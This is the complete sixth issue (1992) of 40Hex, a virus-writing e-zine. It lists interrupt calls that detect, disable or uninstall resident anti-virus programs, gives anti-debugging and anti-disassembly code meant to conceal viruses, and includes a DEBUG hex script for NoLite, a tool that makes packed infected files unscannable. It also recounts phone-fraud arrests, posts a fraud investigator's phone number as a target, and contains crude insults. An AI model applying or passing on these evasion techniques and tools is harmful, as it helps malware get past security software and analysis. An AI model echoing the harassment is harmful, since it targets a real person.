home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / 40HEXX.ZIP / 40HEX006 < prev    next >
Text File  |  1998-01-21  |  120KB  |  2,554 lines

  1. 40Hex Number 6 Volume 2 Issue 2                                       File 000
  2.  
  3.  
  4.     Welcome to 40Hex issue 6.  If this is your first time reading an issue of
  5. 40 Hex, I welcome you, but recommend that you start with an earlier issue.
  6. This issue will have a Virus Spotlite on Creeping Death(Dir-2).  It isn't in
  7. the normal Hex Dump format, and it is fully commented.
  8.  
  9.    - Landfill is temporarily down(again!).  This is due to several [NuKEd]
  10.      hard drive controllers...  we are down but NOT out.  Hopefully we should be
  11.      up within several weeks of the release of this issue.  Hellraiser is still
  12.      unable to edit the magazine, hopefully next issue he will be back in
  13.      charge.
  14.  
  15.    - I think we must discuss one problem.  Recently, we have been verbally
  16.      "attacked" by some lamers in the virus scene who like to jerk off on
  17.      Fidonet.  To clear up the issue at hand, we personally don't use all of
  18.      the methods found in the articles.  For example, we don't sit around all
  19.      day and PKLite infected files and then remove the PKLite header.  We let
  20.      you people do it.  As a matter of fact, we made it a hell of a lot easier
  21.      due to this month's article called NoLite.  No self-respecting virus
  22.      group would do it.  Not everyone that reads this magazine is a virus
  23.      programmer, but wants to learn.  Ya gotta start somewhere.  Another person
  24.      who has been insulting us on FidoNet is Sara Gordon.  I do not know the
  25.      whole story behind her hatred, but I know it stems from a phone
  26.      conversation between her and Hellraiser.  From what I understand, they
  27.      disagreed on many topics, and HR may have gotten insulting (I don't
  28.      know the whole story)
  29.  
  30.    - Anyone that would like to submit articles feel free to do so, as long as
  31.      what you write is not stolen from another source and is of good quality.
  32.      If you would like to write articles contact any PHALCON/SKISM member or
  33.      upload them to either Digital Warfare or PHUN LINE.
  34.  
  35.  
  36.  
  37.                             40 Hex Mag Issue 6
  38.                                 April 1992
  39.  
  40.                                The Contents
  41.  
  42.  File 000.............................You Are Here
  43.  File 001.............................Finding anti-viral programs in memory
  44.  File 002.............................Code Concealing: Part I
  45.  File 003.............................More Busts and Updates
  46.  File 004.............................The NoLite Utility
  47.  File 005.............................PHALCON/SKISM Update
  48.  File 006.............................Some Dick who wants to bust virus authors
  49.  File 007.............................The Kennedy Virus
  50.  File 008.............................Cornell students nailed for viruses
  51.  File 009.............................The Truth Behind Virus Scanners
  52.  File 00A.............................Virus Spotlite-Dir2 Full commented source
  53.  File 00B.............................Scan strings, and how to avoid them
  54.  File 00C.............................!Virus Contest!
  55.  
  56. Our Members: Axiom Codex(*)-(Sysop of PHUNLINE)
  57.              Count Zero(*)-(Hacker, Amiga Programmer, Master of 150#)
  58.              CRoW MeiSTeR(K)-(Sysop of Crow Tech., Goob)
  59.              Dark Angel-(Programmer, Master Chef)
  60.              DecimatoR(*)-(Sysop of Digital Warfare, Programmer)
  61.              Demogorgon-(Hacker, Programmer)
  62.              Garbageheap-(Fearless Leader, Sysop of LandFill, Programmer)
  63.              Hellraiser-(Fearless Leader, Programmer)
  64.              Instigator(*)-(Terry Oakes' butt-buddy, 40 Hex writer)
  65.              Joshua Tower-(Electronics, MonkeyWrenching)
  66.              Lazarus Long-(Programmer)
  67.              Night Crawler-(Courier, Keeper of All Virii)
  68.              Orion Rogue-(Rouge?, named us, then laid back, and relied on name)
  69.              Paragon Dude-(Macintosh Progammer(lonely))
  70.              Renegade(*?)-(Hacker, Macintosh Programmer)
  71.              Time Lord(*)-(Sysop of USSR Systems)
  72.  
  73.              (*)-Denotes persons who should avoid bending over for the soap,
  74.                   and invest in large quantities of KY Jelly.
  75.              (K)-Denotes persons who should get KY Jelly anyway.
  76.              (*?)-Denotes persons who came too close, and wisely backed off
  77.                   and also saved a fortune on KY Jelly.
  78.  
  79. Special Goodbye's to:Piff'(Sorry ya had to quit)
  80.  
  81. Greets to: Attitude Adjuster, Dekion, Loki, [NuKE], Suicidal Maniac, and our
  82.            readers (do we have any?!?!?)
  83.  
  84. P.S.  The transcript of the Alliance mentioned in last issue will NOT be
  85. released in this issue.  This issue is just too damned packed to add another
  86. large file.  It will be put into 40Hex-7, if we aren't in jail.
  87.  
  88.  
  89.                                                 -)GHeap
  90. 40Hex Number 6 Volume 2 Issue 2                                       File 001
  91.  
  92. -------------------------------------------------------------------------------
  93.                     Memory Resident Anti-Virus Detection
  94.                               and Removal
  95. -------------------------------------------------------------------------------
  96.  
  97. Here is a list of ways to see if anti-viral utils are present in memory.
  98. I got the list out of PC interupts, a book by Ralph Brown.  Here they are:
  99.  
  100. F.-DRIVER.SYS (Part of the F-Protect virus package by Fridrik Skulason.)
  101.               This program "grabs" the INT 21 monitoring code, if it was not
  102.               already taken by another program.
  103.               INT 21h, Function 4Bh, Sub Function EEh
  104.               AX must = 4BEEh at call, and call returns AX=1234h if F-Prot
  105.               sucessfully grabbed INT 21, and AX=2345h if the grab failed.
  106.  
  107. F-DLOCK.SYS  (A HD access restrictor, part of F-Protect Package)
  108.               Call INT 2Fh, Funct. 46h, SubFunct 53h
  109.               At call, AX must = 4653h, CX=0005h, BX= 0000h
  110.               If present in ram, AX will return FFFFh.  To uninstall, call
  111.               with AX & CX the same as above, but BX= 0001h.  AX, ES, & BX
  112.               will be destroyed.
  113.  
  114. F-LOCK.EXE  (Part of F-Protect package, looks for "suspicious" activity)
  115.             INT 2Fh, Funct 46h, SubFunct. 53h
  116.             To call:  AX = 4653h, CX=0002h, BX=0000h (installation check)
  117.                                             BX=0001h (uninstall)
  118.                                             BX=0002h (disable v1.08 & below)
  119.                                             BX=0003h (enable v1.08 & below)
  120.             Call returns AX=FFFFh if installed ( BX=0000h at call)
  121.             AX, BX, and ES destroyed, if uninstalled (BX=0001 at call)
  122.  
  123. F-POPUP.EXE (Pop up menu for F-Protect)
  124.           INT 2Fh, Funct. 46h, SubFunct. 53h
  125.           To call: AX=4653h, CX=0004h, BX= 0000h, 0001h or 0002h
  126.                                        (See above - BX same as F-Lock)
  127.           Returns: Same as F-LOCK.EXE
  128.  
  129. F-XCHK.EXE (Prevents execution of any progs which don't have self-checking
  130.             code added by F-XLOCK)
  131.            INT 2Fh, Funct. 46h, SubFunct 53h
  132.            To Call: Registers = same as F-Popup, except CX=0003h, and
  133.                     BX = 0000h (installation check) or 0001h (uninstall)
  134.            Returns: same as F-LOCK, above.
  135.  
  136. TBSCANX (Resident Virus scanning Util by Frans Veldman)
  137.         INT 2Fh, Function CAh, SubFunct 00h
  138.         Call: AX=CA01, BX=5442h ("TB")
  139.         Returns: AL=00h if not installed, AL=FFh if installed
  140.                  BX=7462h ("tb") if BX was 5442h during call
  141.  
  142.         INT 2Fh, Function CAh, Subfunction 02h (Set state of TBSCANX)
  143.         Call: AX=CA02h, BL = new state (00h=disabled, 01h=enabled)
  144.  
  145. VDEFEND (Part of PC-tools.  Works on v7.0)
  146.         INT 21h, Function FAh
  147.         To call: AH=FAh, DX=5945h, AL=subfunction (01h to uninstall)
  148.         returns: CF set on error, DI = 4559h (?)
  149.  
  150. DATAMON (PC Tools 7.0 file protection)
  151.         INT 2Fh, Funct 62h, Sub Funct 84h
  152.         Call: AX=6284h, BX=0000h (for installation check), CX=0000h
  153.         Returns: AX=resident code segment, BX & CX = 5555h
  154.  
  155. Flu Shot, or Virex PC
  156.         INT 21h
  157.         Call: AX=0ff0fh
  158.         Returns if either is installed: AX=101h
  159.  
  160. If anyone has any more Anti-Viral IDs, post 'em on Digital Warfare and I'll
  161. update this list.
  162.  
  163.                                        ---DecimatoR PHALCON/SKISM
  164. 40HEX_6_002     SEGMENT PUBLIC 'code'
  165.                 ORG 100H
  166.                 ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE
  167.  
  168. ;******************************************************************************
  169.  
  170. Concealment:      Keep Your Code Hidden From Prying Eyes
  171.                                         by Demogorgon/PHALCON/SKISM
  172.  
  173.  
  174.      Recently, I have been experimenting with a few new programming techniques
  175. that should be of great interest to the virus writing community.  It is always
  176. our top priority to keep our code out of the hands of lamers in order to
  177. prevent the dreaded 'text change' and above all, to cause the anti-virus
  178. community as much grief as possible.  In order to do this, we must put a great
  179. deal of effort into concealing our code.  That is the focus of this article.
  180.  
  181. This file is divided into two parts.  The first part is devoted to developing
  182. 'debug resistant' code, and the second part deals with defeating disassemblers.
  183. I will not cover encryption, because methods of encryption are commonly known
  184. and there is really not much further I can go with that.  For a complete review
  185. of self encryption methods, take a look at Dark Angel's Funky Virus Writing
  186. Guide (number three, the one that hasn't been released yet.)
  187.  
  188. Part_I: The debugger is NOT your friend
  189.  
  190.      The basic idea behind writing debug ressistant code is finding a way to
  191. make your code behave differently when it runs under a debugger.  With a real
  192. mode debugger, this is simplicity itself.  All that is necessary is a little
  193. knowledge of how a debugger works.  A debugger, such as debug or TD traces
  194. through a program by setting handlers to int 1 and int 3.  These are called
  195. after every instruction is executed.  A virus that wishes to avoid being
  196. debugged can simply replace the handlers for these interrupts, and the results
  197. will be just about whatever you want.  Here is some code to do this:
  198.  
  199. eat_debug:
  200.         push    cs
  201.         pop     ds
  202.         mov     dx, offset eat_int
  203.         mov     ax,2501h
  204.         int     21h
  205.         mov     al,03h
  206.         int     21h
  207.         ...                     ; rest of code
  208. eat_int: iret
  209.  
  210.      As you can see, this requires minimal space in your code, and is certainly
  211. worth the effort.  You can experiment by placing something else at 'eat_int'.
  212. Another commonly used tactic is to disable the keyboard interrupt while certain
  213. parts of the code are being executed.  This will surely keep lamers baffled,
  214. though a pro would recognize what was going on immediately.  I am sure McAfee's
  215. programmer's scoff at code such as this.  Also note that while this will defeat
  216. the average real mode debugger, any protected mode debugger will step through
  217. this as if it weren't there.  Playing with interrupts will not help you when
  218. your program will be running in a virtual cpu anyway.  One method I found which
  219. will work nicely against td386 is to throw in a hlt instruction.  This will
  220. give TD an exception 13 error, and terminate the program.  Anyone who is aware
  221. of this will just step over a hlt instruction, so therefore methods must be
  222. used to conceal its presence, or to make it a necessary part of the code.  This
  223. will be covered in part II.
  224.      Another trick you can play is to call int3 within your program.  If
  225. someone tries to run your program under a debugger, it will stop each time int3
  226. is called.  It is possible to trace through it, but it will be annoying if
  227. there are many int3's thrown in.
  228.  
  229. Part_2: Kill your disassembler
  230.  
  231.      No matter how well you mess up debuggers, your program is entirely at the
  232. mercy of a programmer armed with a good disassembler.  Unless, of course, you
  233. use techniques that will confuse disassemblers.  My favorite method for
  234. baffling them is to create code that overlaps.  Overlapping code may seem a
  235. little bit too complicated for most of us at first, but with the knowledge of a
  236. few instruction hex translations, you too can make effective overlapping code
  237. without sacrificing too much code size.  Overlapping code can get as complex as
  238. you would like, but this file will only deal with the simplest examples.
  239.  
  240.  
  241. eat_sr: mov     ax,02EBh
  242.         jmp     $-2             ; huh?
  243.         ...             ; rest of code
  244.  
  245. This may confuse you at first, but it is fairly simple.  The first instruction
  246. moves a dummy value into ax.  The second instruction jmps into the value that
  247. was just moved into ax.  '02EB' translates into 'jmp $+2' (remember that words
  248. are stored in reverse).  This jump goes past the first jmp, and continues on
  249. with the code.  This will probably not be sufficient to defeat a good
  250. disassembler like Sourcer, but it does demonstrate the technique.  The problem
  251. with this is that Sourcer may or may not just pick up the code after commenting
  252. out the 'jmp $-2'.  It is difficult to predict how Sourcer will respond, and it
  253. usually depends on the bytes that appear directly after the jmp.  To severely
  254. baffle Sourcer, it is necessary to do some stranger things.  Take a look at
  255. this example.
  256.  
  257. erp:    mov     ax,0FE05h
  258.         jmp     $-2h
  259.         add     ah,03Bh
  260.         ...                     ; rest of code
  261.  
  262. This code is quite a bit more useful than the previous listing.  Let us
  263. simulate what would happen if we were to trace through this code, showing a hex
  264. dump at each step to clarify things.
  265.  
  266.  B8 05 FE EB FC 80 C4 3B   mov     ax,0FE05h       ; ax=FE05h
  267.  ^^ ^^ ^^
  268.  B8 05 FE EB FC 80 C4 3B   jmp     $-2             ; jmp into '05 FE'
  269.           ^^ ^^
  270.  B8 05 FE EB FC 80 C4 3B   add     ax,0EBFEh       ; 05 is 'add ax'
  271.     ^^ ^^ ^^
  272.  B8 05 FE EB FC 80 C4 3B   cld                     ; a dummy instruction
  273.              ^^
  274.  B8 05 FE EB FC 80 C4 3B   add     ah,3Bh          ; ax=2503h
  275.                 ^^ ^^ ^^
  276.  
  277.      The add ah,03Bh is there simply to put the value 2503h into ax.  By adding
  278. five bytes (as opposed to simply using 'mov ax,2503h') this code will confuse
  279. disassemblers pretty well.  Even if the instructions are disassembled properly,
  280. the value of ax will not be known, so every int call after this point will not
  281. be commented properly, as long as you never move a value into ax.  You can
  282. conceal the value from the disassembler by using 'add ax' or 'sub ax' whenever
  283. possible.
  284.      If you examine this closely, you can see that any value can be put into
  285. ax.  Two of the values can be changed to whatever you want, namely the FE in
  286. the first line, and the 3B in the last line.  It is helpful to debug through
  287. this chunk of code to determine what values should be placed here in order to
  288. make ax what you would like it to be.
  289.      Back to the subject of killing debuggers, it is very sneaky to hide
  290. something like a hlt instruction inside another instruction, such as a jmp.
  291. For example, take a look at this:
  292.  
  293. glurb:  mov     cx,09EBh
  294.         mov     ax,0FE05h ;-\
  295.         jmp     $-2       ;  >--this should look familiar to you
  296.         add     ah,03Bh   ;-/
  297.         jmp     $-10
  298.         ...             ; rest of code
  299.  
  300. The three lines in the middle are a repeat of the previous example.  The
  301. important part of this code is the first line and the 'jmp $-10'.  What happens
  302. is, the jmp goes back into the 'mov cx' instruction.  The '09EB' translates
  303. into 'jmp $+9'.  This lands in the '$-10' part of the first jmp.  The $-10 just
  304. happens to be stored as 0F4h, the hlt instruction.  By making the hlt part of
  305. another instruction, it is not visible when it is being traced through by
  306. td386.  It is also not possible to remove it without altering the code.
  307.  
  308.      The purpose of this article is not to supply code to be thrown into your
  309. own programs.  The purpose is to get you to think about new ways to avoid
  310. having your code looked at and modified by others.  The most important thing is
  311. to be original.  It is pointless for you to simply duplicate this code, because
  312. anyone else who has read this file will already know what you are trying to do.
  313.  
  314. code            ENDS
  315.                 END     concealment
  316. 40Hex Number 6 Volume 2 Issue 2                                      File 003
  317.  
  318.  
  319.     Well, there have been plenty of busts in 1992 so here is the run down 
  320. to the best of my knowledge for anyone who is interested:
  321.  
  322. Asphi: Busted by MCI on January 20 for hacking on 476's.  Had to pay $2700 for
  323.        the phone calls he made.  From what I found out MCI Wants to nail him to
  324.        the wall.  Charges include: Unlawful use of a computer, Credit Card
  325.        Fraud, Theft of Services, Criminal Conspiracy and some more I can't
  326.        think of, 10 or so total.  And of course they took his system.  He is
  327.        going to have a trial, but a date has not yet been set.
  328.  
  329. Axiom Codex:  Billed $2000 for equal access codes.
  330.  
  331. Cold Steel:  Billed $40.00 for 476's
  332.  
  333. Count Zero: Yet another that got nailed for 476's.  Billed $86.63 and had to
  334.             tell his parents.
  335.  
  336. Deathblade:  Billed $100 for 476's.
  337.  
  338. Dekion: Also nailed for 476's.  Not sure if he will be charged.  Billed 
  339.         somewhere between $100 - $1000.
  340.  
  341. Genghas Khan:  Nailed for CBI and for 733's.  Not sure about what will happen
  342.                to him, but I heared from his friend that he is really screwed.
  343.  
  344. Instigator:  I got nailed in the 476 ring too.  They took my system but gave
  345.              it back.  I got billed for $1970.17.  I got charged with 1 count
  346.              of Theft of services.  They dropped the other 8 charges.  I am
  347.              going to be on informal probation for a short period.  
  348.  
  349. Marauder:  Raided last year by GBI, they took his computer equipment and
  350.            never gave it back.  They finally decided to charge him with
  351.            some misdemeanors.
  352.  
  353. Netrunner:   Billed $100 for 476's.
  354.  
  355. Terminal:  Arrested same time as Genghas Kahnvict.  He is NOT a minor...
  356.  
  357. VenoM:  476's again.  Billed $75.00 and had to tell his parents.
  358.  
  359.  
  360. *** AND the LAMEST bust of the month award goes to:
  361.  
  362. DecimatoR - for sitting in his car along a main road while using the beige box!
  363. He ran up a wopping $0.81 phone bill before the cop came by and asked him 
  364. if he was having car trouble and saw the wires running from the car into the
  365. telephone pole.  He was arrested, then released. No charges have been filed....
  366. yet!
  367.  
  368.  
  369. *** AND the second LAMEST bust of the month award goes to:
  370.  
  371. Hot Rize - for wizely running his neighbors phone line into his own house. No
  372. one would notice that one, eh?  We also recieved confirmed reports that he is a
  373. dweeb.
  374.  
  375. -------------------------------------------------------------------------------
  376.  
  377. All 4 PHALCON/SKISM joints went down between January and March.  The Landfill
  378. for security reasons, Digital Warfare because of me getting busted, PHUN LINE
  379. for security reasons, and USSR because Time Lord may be getting busted.
  380. Digital Warfare went back up though, with DecimatoR as sysop.
  381.  
  382. **  Apparently the head of the 476 operations is Terry Oakes.  He is the phone
  383.     Fraud investigator in charge of the TeleConnect Investigations.  Give him a
  384.     ring at 800-476-1234 Ext. 3045.  Thank you.
  385.    
  386. **  References to 476's are refering to 800-476-9696 owned by Teleconnect, a
  387.     subsidary of MCI. (6 Digit Calling Cards  - Get a LAMER to hack 'em)
  388.    
  389. **  Make sure you change your passwords if you use the same one on Digital
  390.     Warfare as you do on other boards.  They have the OLD user list.
  391.  
  392. **  Additions to the list will be on a first busted first added basis.
  393.  
  394.   
  395.                                        -Instigator 
  396. 40Hex Number 6 Volume 2 Issue 2                                       File 004
  397.  
  398.                               NOLITE v1.0
  399.                              By DecimatoR 
  400.                             of PHALCON/SKISM
  401.                       PD War Collection Program 1
  402.  
  403.      This program will remove the PKLITE header from .EXE and .COM for
  404.      two reasons.
  405.  
  406.      A) To make the file un-decompressable, which dosen't mean much if
  407.         you have the registered version of PKLITE.
  408.  
  409.      B) More importantly, makes the PKLITEd file unscannable to virus
  410.         scanners, such as McAfees' Virus Scan etc...
  411.  
  412.      Does this by overwriting the header with random text from memory.
  413.  
  414.      Parameters are simple:
  415.  
  416.      NOLITE filename.ext (Extension MUST be included!)
  417.  
  418.      Will remove the header from PKLITEd files.  It will not remove the
  419.      header if it is not a genuine PKLITE file.
  420.  
  421.      Note:  This program is based on PKSMASH, which was written by Hellraiser.
  422.             Unfortunately, a bug surfaced in that program, which caused it
  423.             to lock up sometimes.  So I wrote this to replace PKSMASH, and 
  424.             stole HR's dox.  <sorry dude>   
  425.         
  426.                                 ---DecimatoR
  427.  
  428. Cut out the following code, call it NOLITE.HEX, then DEBUG < NOLITE.HEX
  429.  
  430. ------------- Rip here ---------- Slice here ---------- Mince Here ----------
  431.  
  432. n nolite.com
  433. e 0100  4D 5A 53 00 03 00 00 00 09 00 FB 00 FF FF 46 00
  434. e 0110  00 04 00 00 00 01 F0 FF 50 00 00 00 03 01 9A 07
  435. e 0120  8A 15 20 83 C4 06 B8 0D 00 50 B8 01 00 50 9A 2F
  436. e 0130  89 15 20 83 C4 04 C7 06 38 6B 00 00 8B E5 5D C3
  437. e 0140  55 8B EC 83 EC 02 FF 36 16 35 E8 C4 19 83 C4 00
  438. e 0150  7A 01 03 00 01 00 20 00 09 00 FF FF 00 00 00 00
  439. e 0160  00 00 00 01 00 00 3E 00 00 00 01 00 FB 30 6A 72
  440. e 0170  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  441. e 0180  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  442. e 0190  B8 38 01 BA 3D 00 8C DB 03 D8 3B 1E 02 00 73 1D
  443. e 01A0  83 EB 20 FA 8E D3 BC 00 02 FB 83 EB 19 8E C3 53
  444. e 01B0  B9 C3 00 33 FF 57 BE 48 01 FC F3 A5 CB B4 09 BA
  445. e 01C0  36 01 CD 21 CD 20 4E 6F 74 20 65 6E 6F 75 67 68
  446. e 01D0  20 6D 65 6D 6F 72 79 24 FD 8C DB 53 83 C3 2D 03
  447. e 01E0  DA BE FE FF 8B FE 8C CD 8B C5 2B EA 8B CA D1 E1
  448. e 01F0  D1 E1 D1 E1 80 EC 10 80 EF 10 8E C0 8E DB F3 A5
  449. e 0200  FC 8E DD 07 06 BF 00 01 33 F6 AD 95 BA 10 00 EB
  450. e 0210  2C 90 AD 95 B2 10 EB 35 AD 95 B2 10 EB 36 AD 95
  451. e 0220  B2 10 EB 3B AD 95 B2 10 EB 5D AD 95 B2 10 EB 5E
  452. e 0230  AD 95 B2 10 EB 5F AD 95 B2 10 72 08 A4 D1 ED 4A
  453. e 0240  74 F4 73 F8 33 C9 33 DB D1 ED 4A 74 C5 D1 D3 D1
  454. e 0250  ED 4A 74 C4 D1 D3 85 DB 74 17 D1 ED 4A 74 BF D1
  455. e 0260  D3 80 FB 06 72 0B D1 ED 4A 75 04 AD 95 B2 10 D1
  456. e 0270  D3 2E 8A 8F 5E 01 80 F9 0A 74 74 33 DB 83 F9 02
  457. e 0280  74 2A D1 ED 4A 74 9D 72 23 D1 ED 4A 74 9C D1 D3
  458. e 0290  D1 ED 4A 74 9B D1 D3 D1 ED 4A 75 04 AD 95 B2 10
  459. e 02A0  D1 D3 80 FB 02 73 15 2E 8A BF 6E 01 AC 8A D8 56
  460. e 02B0  8B F7 2B F3 FA F3 26 A4 FB 5E EB 81 D1 ED 4A 75
  461. e 02C0  04 AD 95 B2 10 D1 D3 80 FB 08 72 DB D1 ED 4A 75
  462. e 02D0  04 AD 95 B2 10 D1 D3 80 FB 17 72 CB D1 ED 4A 75
  463. e 02E0  04 AD 95 B2 10 D1 D3 81 E3 DF 00 86 DF EB BD AC
  464. e 02F0  02 C8 80 D5 00 3C FF 75 82 5B 8B EB 83 C3 10 33
  465. e 0300  C0 AC 91 E3 0E AD 03 C3 8E C0 AD 97 26 01 1D E2
  466. e 0310  F9 EB EC AD 03 C3 FA 8E D0 AD 8B E0 FB AD 03 D8
  467. e 0320  53 AD 50 8E C5 8E DD 33 C0 8B D8 8B C8 8B D0 8B
  468. e 0330  E8 8B F0 8B F8 CB 03 00 02 0A 04 05 00 00 00 00
  469. e 0340  00 00 06 07 08 09 01 02 00 00 03 04 05 06 00 00
  470. e 0350  00 00 00 00 00 00 07 08 09 0A 0B 0C 0D 00 00 00
  471. e 0360  3A 00 00 F5 01 B8 23 00 8E C0 E8 CF 00 E8 00 00
  472. e 0370  C7 00 83 FA 01 B4 09 BA 5C 00 CD 21 74 0A BA 87
  473. e 0380  55 00 00 0C 09 E9 07 01 33 C9 E8 E7 40 01 00 8B
  474. e 0390  D7 B0 02 B4 3D 10 73 03 E9 EE 00 28 40 A3 0C 00
  475. e 03A0  B9 39 51 59 41 83 F9 64 75 39 15 2A CB 2A DD 12
  476. e 03B0  8B 09 A5 1E 1A 01 00 BA 0E 12 3F 28 50 12 80 3E
  477. e 03C0  08 50 75 D9 B9 0B B6 52 11 0F 11 BE 07 BF 49 81
  478. e 03D0  38 10 F3 A6 3A 00 74 0C 5A 52 52 8A 5C B0 1A 42
  479. e 03E0  1A EB B3 A2 6A 0A 33 D2 0A 0E 16 95 43 10 59 49
  480. e 03F0  30 27 5B 35 0D B4 40 58 31 91 24 0F 16 5A 0F 72
  481. e 0400  6E A5 1F 35 49 01 09 16 B4 3E 3D 00 40 64 90 8A
  482. e 0410  04 3C 20 74 06 3C 09 74 02 3C 0D C3 01 40 27 4A
  483. e 0420  01 C3 32 ED 8A 0E 80 00 41 BE 81 01 00 73 4C 01
  484. e 0430  E8 DE FF 75 03 46 E2 F8 51 E3 03 00 A4 FC F3 A4
  485. e 0440  06 1F 59 33 DB E3 0F BE 18 C6 02 85 18 04 C6 04
  486. e 0450  00 43 1C F4 89 1E 29 A1 36 C0 2E E3 0C 3B 0E 00
  487. e 0460  B0 0C 73 06 FC AE 75 FD E2 FB C3 BA FD 21 01 E0
  488. e 0470  B4 4C A0 0B 7E 00 4B 4C 49 54 45 A0 01 20 43 6F
  489. e 0480  70 72 2E 47 8B 0D 0A 36 00 4E 4F 5F 28 63 29 20
  490. e 0490  31 39 39 32 20 00 00 44 65 63 69 6D 61 74 6F 52
  491. e 04A0  20 50 48 41 4C 43 4F 00 00 4E 2F 53 4B 49 53 4D
  492. e 04B0  0D 24 0A 20 20 52 65 6D 6F 70 42 76 65 73 20 50
  493. e 04C0  93 73 69 67 6E 01 14 2A 75 72 65 20 66 72 6F 6D
  494. e 04D0  05 69 A5 0A 6C 1C 2E 52 28 55 73 DC 66 65 3A 20
  495. e 04E0  59 3C 17 A1 4C 27 6D 65 3E 1A 24 1D 3A 05 4E 6F
  496. e 04F0  08 40 77 61 55 66 6F 75 00 00 6E 64 20 2D 20 6E
  497. e 0500  6F 74 68 69 6E 67 20 64 6F 6E 36 25 65 07 32 45
  498. e 0510  72 5F 72 4B A1 1A 2C 74 81 70 74 20 A0 E0 28 73
  499. e 0520  75 63 63 6C 73 66 75 6C 74 7A 22 53 10 21 AB A4
  500. e 0530  5A 40 4E 72 C6 69 AA 52 44 48 19 74 A0 01 40 79
  501. e 0540  65 64 21 24 FF 01 00 00 01 01 00 00 00 00 00 00
  502. e 0550  00 00 01 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
  503. rcx
  504. 055F
  505. w
  506. q
  507.  
  508. ------------- Rip here ---------- Slice here ---------- Mince Here ----------
  509. 40Hex Number 6 Volume 2 Issue 2                                       File 005
  510.  
  511.  
  512.                 I'm back, well kind of.  Anyways, a lot of people have been
  513. asking, "What's going on with the group?" The question should be, "What's going
  514. on with any group these days?" It seems to me that 1992 was the death of h/p,
  515. or at least the "ice age" of it.  Everybody was either getting busted or
  516. quitting the scene.  Oh well, what can I say about it.  Our group has been
  517. having bad luck too.  Five (now six) busted as well as other assorted bad
  518. things happening to members.
  519.  
  520.                 Anyways, what's going on with us, huh?.  Well the reason you
  521. haven't heard much from us is because we haven't been releasing our new stuff
  522. to BBS systems ( BBS system sounds as redundant as PIN number, I know) because
  523. we have a strong feeling that members of such groups as the CVIA are logging on
  524. to h/p boards in the hope of snatching the latest viruses.  Well not much you
  525. can do about it if you run a BBS, unless you personnally know everyone who calls
  526. your board. But come to think of it - what good does it prove to release your
  527. newest creation to the general public (of the h/p crowd) via BBS system?  Isn't
  528. that the same principle as the warez puppy scene?  I guess you all can do
  529. whatever turns you on but we kind of decided that it would be in our best
  530. interests to release our stuff to BBS's only after they have been detected by
  531. the popular scanners or until they are kind of old.  Not to fear, 40-HEX and
  532. "Dark Angel Phunky Writing Guide" will still be on boards at the same rate as
  533. always.
  534.  
  535.                 As for all of you people bitching that no longer have sites
  536. and that we are dead, well your dead - wrong.  The current sites are as follows
  537. (in no specific order) - Digital Warfare (yes it's back, at a new number
  538. however), Time Lords BBS (The U.S.S.R System), The Phunline (yes it's back),
  539. and the newest addition - Crow Technology.  And as for us being dead yeah
  540. right.
  541.  
  542. ** Note from DecimatoR:
  543. The U.S.S.R System recently went down, due to Time Lord getting into a little
  544. hot water.  It WILL return however... we're just not sure when. **
  545.  
  546. ** Note from GHeap:
  547. I am coming back, gimme mo' time!
  548.  
  549.                 So now with that out of the way, on the other news.  Hmmm.....
  550. Michelangelo caused quite a scare there for a while.  It was pretty cool
  551. to see John, Patti, and the rest of the crew on T.V... John Dvorak has a new
  552. half hour computer talk show on syndicated radio.  I'm sure he wouldn't mind if
  553. we got on the show some time soon.  Check your local radio guide for your local
  554. station and time... I am offering a standing bounty of $1,500 for the person
  555. willing to fly to Ohio and kick Crow Meisters ass for good.  A minor would be
  556. preferred, being that he is under 18 and if I smashed him I could get sued or
  557. something.  Just kidding, Crow Meister is cool with me, hihihihi... A new
  558. federal law is being considered which if passed will outlaw the authorship of
  559. computer viruses totally, research or not.  Read more about that later in this
  560. issue... Hey, I might have a BBS up soon!  I have been saying that for the past
  561. 2 years haven't I?  Well that's the news as I see it, it's nice to be writing
  562. for this rag again. 
  563.  
  564.         Check ya in 25 to life....
  565.  
  566.                                                         Hellraiser P/S
  567.                                                         1992
  568.  
  569. This article was typed by Time Lord for HR cuz he is WAY too lazy to send me
  570. a disk in place of a fuckin print out...
  571. 40Hex Number 6 Volume 2 Issue 2                                       File 006
  572.  
  573.     Well, this little news "tid-bit" came from Attitude Adjuster, one of the
  574.  few non-PHALCON/SKISM contributers (ok, the ONLY non P/S member), Thanks a
  575.  lot dude, keep the submissions coming.  The article itself is quite sad,
  576.  and makes me question the intelligence of our opposition.
  577.  
  578.                                         -)GHeap&Demo
  579.                                         Thanx to CZ for THE line.
  580. -------------------------------------------------------------------------------
  581.  
  582.                      - We need Computer Virus Snitches -
  583.                Written By Mike Royko, Tribune Media Services.
  584.                        Retyped by The Attitude Adjuster
  585.  
  586.  ============================================================================        
  587.          Millions  of computer users are wondering how to protect themselves
  588.  against  the wave of viruses that are threatening their machines. I have  a
  589.  suggestion.[So do I, avoid Bnu 1.90Beta]
  590.          First, they  should  remember  that these viruses don't spring from
  591.  nature. They  are  little  computer  programs  that are created and sent on
  592.  their  way  by people  that are brainy,  malicious and  arrogant.[I am  not
  593.  brainy]
  594.          So,  the  question is,  how  do you  find  the creators of computer
  595.  virus programs?
  596.          Because  they are  arrogant, it's  likely that they want someone to
  597.  know what a clever thing they have done. They won't hold a press conference
  598.  [Actually, we do hold press conferences.  See Michael Alexander@Computerworld]
  599.  but  chances  are they  will brag  to a  trusted friend  or acquaintance or
  600.  fellow hacker.
  601.          It is sad, but the world is full of snitches.[Get a thesaurus] Look
  602.  at John Gotti,  the nation's  biggest Mafia boss.  There was a time when it
  603.  was  unthinkable for  even the lowest-level Mafia soldier to blab.  But now
  604.  Gotti has to sit in court while his former  right-hand  man tells about how
  605.  they got people whacked.  [We whack people too]
  606.          So if Mafia  figures can be persuaded to tattle[Na-na-na-na-na], is
  607.  there any reason  to believe that nerds  have a greater  sense of honor and
  608.  loyalty?  [Yes, we also have brains]
  609.         Of course[.] not, but how do you get them to do it?
  610.  
  611.         Money. [Now yer talking... my mom is really the Dark Avenger, I want
  612.  my money now.]
  613.  
  614.         These  companies [what companies,  I only  hit hospitals]  could use
  615.  petty cash  to place  ads in the  computer magazines and on  the electronic
  616.  bulletin boards.  [Ok, call my BBS and  post this tidbit.  40Hex now has ad
  617.  space available]
